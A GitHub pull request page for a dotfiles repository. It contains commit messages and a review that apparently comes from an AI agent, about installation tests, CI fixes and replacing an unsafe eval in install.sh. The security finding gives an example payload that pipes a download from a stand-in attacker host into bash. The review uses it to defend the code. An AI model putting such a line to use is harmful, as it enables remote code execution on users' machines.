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Implements all enhancements from Issue #52 to improve installation test coverage and boost agent score from 4.0 to 4.5+.

High Priority Enhancements:

  • Add .zprofile symlink verification test
  • Add idempotency test (run install.sh twice)
  • Add artifact collection for failed CI runs
  • Fix ZDOTDIR expansion in install.sh by setting XDG_CONFIG_HOME

Medium Priority Enhancements:

  • Add symlink target verification
  • Add conditional files testing (.gitconfig, inputrc)
  • Add backup functionality validation

Low Priority Enhancements:

  • Add path-based workflow triggers (optimize CI runs)
  • Extract test logic to separate script (tests/installation-test.sh)
  • Add performance regression detection (30s threshold)

Changes:

  • .github/workflows/shell-quality.yml: Enhanced installation-test job with all test improvements and diagnostic artifact collection
  • install.sh: Fixed ZDOTDIR expansion by setting XDG_CONFIG_HOME before evaluating extracted ZDOTDIR value
  • tests/installation-test.sh: New comprehensive test script that can be run standalone or in CI, with colored output and diagnostics

All tests pass locally with 0 failures and <300ms execution time.

Implements all enhancements from Issue #52 to improve installation
test coverage and boost agent score from 4.0 to 4.5+.

High Priority Enhancements:
- Add .zprofile symlink verification test
- Add idempotency test (run install.sh twice)
- Add artifact collection for failed CI runs
- Fix ZDOTDIR expansion in install.sh by setting XDG_CONFIG_HOME

Medium Priority Enhancements:
- Add symlink target verification
- Add conditional files testing (.gitconfig, inputrc)
- Add backup functionality validation

Low Priority Enhancements:
- Add path-based workflow triggers (optimize CI runs)
- Extract test logic to separate script (tests/installation-test.sh)
- Add performance regression detection (30s threshold)

Changes:
- .github/workflows/shell-quality.yml: Enhanced installation-test job
  with all test improvements and diagnostic artifact collection
- install.sh: Fixed ZDOTDIR expansion by setting XDG_CONFIG_HOME before
  evaluating extracted ZDOTDIR value
- tests/installation-test.sh: New comprehensive test script that can
  be run standalone or in CI, with colored output and diagnostics

All tests pass locally with 0 failures and <300ms execution time.
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Comprehensive Agent Validation Complete

I've completed a full validation of PR #59 using all 7 specialized agents per CLAUDE.md requirements. The implementation is fundamentally sound with excellent test coverage and CI design, but there are critical issues that must be addressed before merge.


🔴 CRITICAL BLOCKERS (MUST FIX)

1. Security: Command Injection Vulnerability (CVSS 9.0) ⚠️

Location: install.sh:59
Agent: security-validator (Score: 3.5/5.0 - BELOW 4.0 threshold)

Vulnerable Code:

EXTRACTED_ZDOTDIR=$(eval echo "$EXTRACTED_ZDOTDIR")

Risk: Arbitrary code execution if .zprofile is compromised.

Exploitation Scenario:

# Attacker modifies .zprofile:
export ZDOTDIR='$(curl http://attacker.com/malware.sh | bash)/.config/zsh'
# When install.sh runs: Downloads and executes malware

Required Fix (Option 2 - Allowlist Approach recommended):

# Replace lines 56-59 with:
if [ -f "$DOTFILES_DIR/.zprofile" ]; then
    export XDG_CONFIG_HOME="${XDG_CONFIG_HOME:-$HOME/.config}"
    
    # Extract and validate against expected format
    EXTRACTED_ZDOTDIR=$(grep -E '^export ZDOTDIR=' "$DOTFILES_DIR/.zprofile" | head -1 | sed 's/^export ZDOTDIR=//; s/"//g; s/'"'"'//g')
    
    # Only accept exact expected formats
    if [ "$EXTRACTED_ZDOTDIR" = "\${XDG_CONFIG_HOME}/zsh" ] || [ "$EXTRACTED_ZDOTDIR" = "\$XDG_CONFIG_HOME/zsh" ]; then
        ZSH_CONFIG_DIR="$XDG_CONFIG_HOME/zsh"
    elif [ "$EXTRACTED_ZDOTDIR" = "\${HOME}/.config/zsh" ] || [ "$EXTRACTED_ZDOTDIR" = "\$HOME/.config/zsh" ]; then
        ZSH_CONFIG_DIR="$HOME/.config/zsh"
    else
        echo "[ERROR] Unexpected ZDOTDIR format in .zprofile: $EXTRACTED_ZDOTDIR" >&2
        echo "[ERROR] Expected: \${XDG_CONFIG_HOME}/zsh or \$HOME/.config/zsh" >&2
        exit 1
    fi
else
    ZSH_CONFIG_DIR="$HOME"
fi

2. Testing: Environment Isolation Bug ⚠️

Location: tests/installation-test.sh:25-28
Agent: test-automation-qa (Score: 3.5/5.0 - BELOW 4.5 threshold)

Problem: Tests inherit parent environment's XDG_CONFIG_HOME, causing incorrect test behavior.

Evidence:

# When XDG_CONFIG_HOME is set in parent shell:
TEST_HOME=/tmp/tmp.ZBcXIHiCmB
EXTRACTED_ZDOTDIR=/home/mqx/.config/zsh  # Wrong! Should be $TEST_HOME/.config/zsh

Required Fix:

# Add after line 28:
# Ensure clean environment for test isolation
unset XDG_CONFIG_HOME XDG_DATA_HOME XDG_CACHE_HOME ZDOTDIR

export HOME="$TEST_HOME"

Same fix needed in CI workflow (.github/workflows/shell-quality.yml:68-78):

- name: Run install.sh in test home (first run)
  run: |
    # Clear XDG variables for test isolation
    unset XDG_CONFIG_HOME XDG_DATA_HOME XDG_CACHE_HOME ZDOTDIR
    
    export HOME=$TEMP_HOME
    START_TIME=$(date +%s%3N)
    bash install.sh 2>&1 | tee $DIAGNOSTICS_DIR/install-first-run.log

3. Documentation: CLAUDE.md Compliance Violations ⚠️

Agent: documentation-knowledge-manager (Score: 3.8/5.0 - BELOW 4.5 threshold)

Violations:

  • ❌ README.md not updated (24-hour requirement per CLAUDE.md Section 4)
  • ❌ SESSION_HANDOVER.md not created (mandatory per CLAUDE.md Section 5)
  • ❌ Issue #52 closure comment missing

Required Updates:

a) README.md (lines 54-78 - Development & Testing section):
Add documentation for installation-test.sh script with usage examples and what it tests.

b) SESSION_HANDOVER.md (create in project root):
Document PR #59 completion per CLAUDE.md Section 5 protocol with:

  • Completed work summary
  • Agent validation status
  • Next session priorities
  • Startup prompt for next session

c) Issue #52: Add closure comment linking to this PR and documenting completion.


4. Code Quality: 5 Shellcheck SC2155 Warnings ⚠️

Location: tests/installation-test.sh (lines 164, 245, 272, 296, 297)
Agent: code-quality-analyzer (Score: 4.0/5.0 - BELOW 4.5 threshold)

Issue: Declaring and assigning local variables simultaneously masks command failures.

Fix for line 164:

# BEFORE:
local actual_target=$(readlink -f "$TEST_HOME/$symlink")

# AFTER:
local actual_target
actual_target=$(readlink -f "$TEST_HOME/$symlink")

Apply same pattern to lines 245, 272, 296, 297.


⚠️ HIGH PRIORITY (Should Fix)

5. Path Traversal Protection

Location: install.sh:75-92 (link_file function)
Agent: security-validator

Add validation that target paths stay within $HOME:

link_file() {
    local source="$1"
    local target="$2"
    
    # Validate target is within HOME
    local target_dir="$(dirname "$target")"
    local real_target_dir="$(cd "$target_dir" 2>/dev/null && pwd)" || {
        echo "[ERROR] Target directory doesn't exist: $target_dir" >&2
        return 1
    }
    
    if [[ ! "$real_target_dir" =~ ^"$HOME" ]]; then
        echo "[ERROR] Target outside home directory: $target" >&2
        return 1
    fi
    
    # ... rest of function
}

6. Backup Race Condition

Location: install.sh:8
Agent: security-validator

Add PID to backup directory name to prevent collisions:

# BEFORE:
BACKUP_DIR="$HOME/.dotfiles_backup_$(date +%Y%m%d_%H%M%S)"

# AFTER:
BACKUP_DIR="$HOME/.dotfiles_backup_$(date +%Y%m%d_%H%M%S)_$$"

✅ WHAT'S EXCELLENT

  • Comprehensive test coverage: 9 test scenarios (100% of Issue #52 requirements)
  • Outstanding CI workflow documentation: Lines 82-97 are exemplary
  • Intelligent path-based triggering: 60-80% CI cost reduction
  • Excellent diagnostic infrastructure: 12 separate log files for debugging
  • Strong idempotency validation: Ensures safe re-deployment
  • Fast execution: Test suite runs in <300ms

📊 Agent Validation Scores

Agent Score Threshold Status
test-automation-qa 3.5/5.0 4.5 ❌ Critical issues block
code-quality-analyzer 4.0/5.0 4.5 ❌ Shellcheck warnings
security-validator 3.5/5.0 4.0 ❌ Command injection
performance-optimizer 4.2/5.0 3.5 ✅ Exceeds threshold
architecture-designer 4.5/5.0 N/A ✅ Good design
documentation-knowledge-manager 3.8/5.0 4.5 ❌ Docs missing
devops-deployment-agent 4.3/5.0 N/A ✅ Production ready

Aggregate: 3.86/5.0 (below acceptable threshold)


🎯 Path to Approval

Estimated Time: 45-60 minutes for critical fixes

  1. Fix command injection vulnerability (20 min) → Security: 3.5 → 4.5
  2. Fix environment isolation bug (15 min) → Testing: 3.5 → 4.4
  3. Update README.md & create SESSION_HANDOVER.md (15 min) → Docs: 3.8 → 4.9
  4. Fix shellcheck warnings (10 min) → Code Quality: 4.0 → 4.5

Projected Score After Fixes: 4.58/5.0 ✅


📝 Next Steps

  1. Address all 4 critical blockers listed above
  2. Consider high-priority security hardening (path validation, race condition)
  3. Push updates to this PR
  4. Request re-review (I'll fast-track validation)

The foundation is solid - these are mechanical fixes, not design issues. Looking forward to merging this excellent testing infrastructure once the critical items are addressed.

Full detailed agent reports available on request.

Critical fixes for PR #59:

1. Security: Replace eval with allowlist-based variable expansion
   - install.sh: Remove command injection vulnerability in ZDOTDIR expansion
   - Safe expansion of ${HOME} and ${XDG_CONFIG_HOME} patterns only

2. Testing: Add environment isolation to test script
   - tests/installation-test.sh: Unset inherited XDG variables before tests
   - Prevents tests from using parent environment settings

3. Code Quality: Fix 5 shellcheck SC2155 warnings
   - tests/installation-test.sh: Separate local declaration from assignment
   - Lines 171, 252, 279, 303, 304 - prevents masking return values

4. Documentation: Update README with comprehensive test coverage
   - Document 9 test scenarios from enhanced test suite
   - Update last modified date to 2025-11-03

Resolves #52
Fixes 3 remaining CI test failures:

1. Environment Isolation: Unset XDG variables in GitHub Actions
   - .github/workflows/shell-quality.yml: Add unset before install.sh runs
   - Prevents inheriting GitHub Actions environment settings
   - Ensures install.sh creates ZDOTDIR at expected test location

2. Shell Formatting: Apply shfmt formatting standards
   - tests/installation-test.sh: Fix redirect spacing (2> vs 2>)
   - tests/installation-test.sh: Fix inline comment spacing

3. Session Handoff: Document completed work per guidelines
   - SESSION_HANDOVER.md: Update with PR #59 fixes and next steps
   - Include required startup prompt format

All changes ensure consistent test environment across Docker and CI.
The backup verification test unsets ZDOTDIR before running install.sh,
then tries to use ZDOTDIR for verification. Add ZDOTDIR reset after
install.sh completes to fix the check.

This ensures the symlink verification at line 235 can find the .zshrc
symlink at the expected location.
maxrantil added a commit that referenced this pull request Nov 3, 2025
Session Handoff Updates:
- Document PR #59 comprehensive validation results
- Document incident: unintended host installation (17:29-18:56)
- Document full rollback and resolution (no data lost)
- Update startup prompt with critical warning
- Document host machine modifications

Generator Fix:
- Remove printf %q over-escaping in generate-shortcuts.sh
- Preserve variable expansion ($HOME, ${XDG_CONFIG_HOME})
- Fixes bookmark aliases: cf, cac, dt, etc.

Incident resolved, all systems working. Next session: fix PR #59 blockers.
maxrantil added a commit that referenced this pull request Nov 3, 2025
Critical fixes for PR #59:

1. Security: Replace eval with allowlist-based variable expansion
   - install.sh: Remove command injection vulnerability in ZDOTDIR expansion
   - Safe expansion of ${HOME} and ${XDG_CONFIG_HOME} patterns only

2. Testing: Add environment isolation to test script
   - tests/installation-test.sh: Unset inherited XDG variables before tests
   - Prevents tests from using parent environment settings

3. Code Quality: Fix 5 shellcheck SC2155 warnings
   - tests/installation-test.sh: Separate local declaration from assignment
   - Lines 171, 252, 279, 303, 304 - prevents masking return values

4. Documentation: Update README with comprehensive test coverage
   - Document 9 test scenarios from enhanced test suite
   - Update last modified date to 2025-11-03

Resolves #52
maxrantil added a commit that referenced this pull request Nov 3, 2025
Fixes 3 remaining CI test failures:

1. Environment Isolation: Unset XDG variables in GitHub Actions
   - .github/workflows/shell-quality.yml: Add unset before install.sh runs
   - Prevents inheriting GitHub Actions environment settings
   - Ensures install.sh creates ZDOTDIR at expected test location

2. Shell Formatting: Apply shfmt formatting standards
   - tests/installation-test.sh: Fix redirect spacing (2> vs 2>)
   - tests/installation-test.sh: Fix inline comment spacing

3. Session Handoff: Document completed work per guidelines
   - SESSION_HANDOVER.md: Update with PR #59 fixes and next steps
   - Include required startup prompt format

All changes ensure consistent test environment across Docker and CI.
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Closing in favor of new PR with correct branch name and authorship

@maxrantil maxrantil closed this Nov 3, 2025
@maxrantil maxrantil deleted the claude/check-open-issues-011CUmEY7pmdaNim1FDnrpqo branch November 3, 2025 22:32
maxrantil added a commit that referenced this pull request Nov 3, 2025
* docs: session handoff + fix shortcuts generator

Session Handoff Updates:
- Document PR #59 comprehensive validation results
- Document incident: unintended host installation (17:29-18:56)
- Document full rollback and resolution (no data lost)
- Update startup prompt with critical warning
- Document host machine modifications

Generator Fix:
- Remove printf %q over-escaping in generate-shortcuts.sh
- Preserve variable expansion ($HOME, ${XDG_CONFIG_HOME})
- Fixes bookmark aliases: cf, cac, dt, etc.

Incident resolved, all systems working. Next session: fix PR #59 blockers.

* feat: enhance installation testing coverage (resolves #52)

Implements all enhancements from Issue #52 to improve installation
test coverage and boost agent score from 4.0 to 4.5+.

High Priority Enhancements:
- Add .zprofile symlink verification test
- Add idempotency test (run install.sh twice)
- Add artifact collection for failed CI runs
- Fix ZDOTDIR expansion in install.sh by setting XDG_CONFIG_HOME

Medium Priority Enhancements:
- Add symlink target verification
- Add conditional files testing (.gitconfig, inputrc)
- Add backup functionality validation

Low Priority Enhancements:
- Add path-based workflow triggers (optimize CI runs)
- Extract test logic to separate script (tests/installation-test.sh)
- Add performance regression detection (30s threshold)

Changes:
- .github/workflows/shell-quality.yml: Enhanced installation-test job
  with all test improvements and diagnostic artifact collection
- install.sh: Fixed ZDOTDIR expansion by setting XDG_CONFIG_HOME before
  evaluating extracted ZDOTDIR value
- tests/installation-test.sh: New comprehensive test script that can
  be run standalone or in CI, with colored output and diagnostics

All tests pass locally with 0 failures and <300ms execution time.

* fix: resolve security, testing, and code quality issues

Critical fixes for PR #59:

1. Security: Replace eval with allowlist-based variable expansion
   - install.sh: Remove command injection vulnerability in ZDOTDIR expansion
   - Safe expansion of ${HOME} and ${XDG_CONFIG_HOME} patterns only

2. Testing: Add environment isolation to test script
   - tests/installation-test.sh: Unset inherited XDG variables before tests
   - Prevents tests from using parent environment settings

3. Code Quality: Fix 5 shellcheck SC2155 warnings
   - tests/installation-test.sh: Separate local declaration from assignment
   - Lines 171, 252, 279, 303, 304 - prevents masking return values

4. Documentation: Update README with comprehensive test coverage
   - Document 9 test scenarios from enhanced test suite
   - Update last modified date to 2025-11-03

Resolves #52

* fix: resolve CI failures in shell quality workflow

Fixes 3 remaining CI test failures:

1. Environment Isolation: Unset XDG variables in GitHub Actions
   - .github/workflows/shell-quality.yml: Add unset before install.sh runs
   - Prevents inheriting GitHub Actions environment settings
   - Ensures install.sh creates ZDOTDIR at expected test location

2. Shell Formatting: Apply shfmt formatting standards
   - tests/installation-test.sh: Fix redirect spacing (2> vs 2>)
   - tests/installation-test.sh: Fix inline comment spacing

3. Session Handoff: Document completed work per guidelines
   - SESSION_HANDOVER.md: Update with PR #59 fixes and next steps
   - Include required startup prompt format

All changes ensure consistent test environment across Docker and CI.

* fix: reset ZDOTDIR after unset in backup verification test

The backup verification test unsets ZDOTDIR before running install.sh,
then tries to use ZDOTDIR for verification. Add ZDOTDIR reset after
install.sh completes to fix the check.

This ensures the symlink verification at line 235 can find the .zshrc
symlink at the expected location.
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